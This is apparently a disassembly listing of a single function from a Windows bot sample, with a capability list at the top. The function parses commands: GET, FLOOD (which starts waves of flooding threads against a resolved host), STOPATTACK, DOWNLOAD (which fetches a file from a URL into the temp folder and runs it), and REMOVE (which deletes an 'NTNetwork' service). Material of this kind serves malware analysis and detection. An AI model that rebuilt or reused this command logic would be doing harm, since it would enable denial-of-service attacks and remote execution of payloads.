Function at 0x402000
Capabilities:
Create process on windows
Create thread
Delete service
Download url
Get common file path
Receive data
Resolve dns
Terminate process

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4031fb
push eax
mov dword fs:[0], esp
sub esp, 0x33c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x358]
push edi
mov edi, dword [sym.imp.MSVCRT.dll_strncmp]
push 4
push str.GET:
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x40209a
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov ebp, dword [sym.imp.MSVCRT.dll_rand]
mov dword [0x405010], 0xffffffff
mov dword [esp + 0x10], 0x50
push 0
push 0
push esi
push 0x401980
push 0
push 0
call ebx
call ebp
cdq
mov ecx, 0x64
idiv ecx
push edx
call edi
mov eax, dword [esp + 0x10]
dec eax
mov dword [esp + 0x10], eax
jne 0x402061
push 0x7d0
call edi
mov eax, 1
jmp 0x40247b
push 6
push str.FLOOD:
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x402298
mov ecx, 7
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
xor edx, edx
push esi
mov dword [esp + 0x1c], edx
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], edx
stosw word es:[edi], ax
mov word [esp + 0x24], dx
call fcn.00402fa8
push 0x40511c
lea ecx, [esp + 0x14]
mov dword [esp + 0x358], 0
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x405118
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x24]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x405118
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov dword [0x405034], eax
test eax, eax
jg 0x4021a7
mov dword [0x405034], 0x50
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x40220b
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40222f
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, ecx
lea edi, [esp + 0x14]
mov esi, dword [edx]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x40222a
lea edi, [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x405010], 0xffffffff
mov edi, 0x32
push 0
push 0
push 0
push 0x401340
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401060
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401850
push 0
push 0
call esi
dec edi
jne 0x402244
lea ecx, [esp + 0x10]
mov dword [esp + 0x354], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
jmp 0x40247b
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
push str.STOPATTACK
push esi
call ebx
add esp, 8
test eax, eax
je 0x4022bc
mov eax, 1
mov dword [0x405010], eax
jmp 0x40247b
push 9
push str.DOWNLOAD:
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x40243e
mov ecx, pe_nt_image_headers32
lea edi, [esp + 0x148]
push 0x3a
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.MSVCRT.dll_strchr]
mov edi, eax
or ecx, 0xffffffff
inc edi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x150]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x250]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov cx, word [0x405154]
lea edi, [esp + 0x251]
mov word [esp + 0x1c], cx
mov ecx, pe_nt_image_headers32
mov byte [esp + 0x250], 0
mov byte [esp + 0x4c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x4d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [esp + 0x150]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x250]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
lea ecx, [esp + 0x1c]
push ecx
push edx
call esi
add esp, 0x10
test eax, eax
je 0x4023a6
mov ebx, eax
lea eax, [esp + 0x14]
push eax
push 0
call esi
add esp, 8
test eax, eax
jne 0x402392
jmp 0x4023aa
mov ebx, dword [esp + 0x10]
lea ecx, [esp + 0x44]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov edi, 0x405150
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x44]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x48]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x4c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x154]
push ecx
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x402479
lea edx, [esp + 0x44]
push eax
push edx
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov eax, 1
jmp 0x40247b
push str.REMOVE
push esi
call ebx
add esp, 8
test eax, eax
je 0x402479
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.NTNetwork
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
xor eax, eax
mov ecx, dword [esp + 0x34c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x348
ret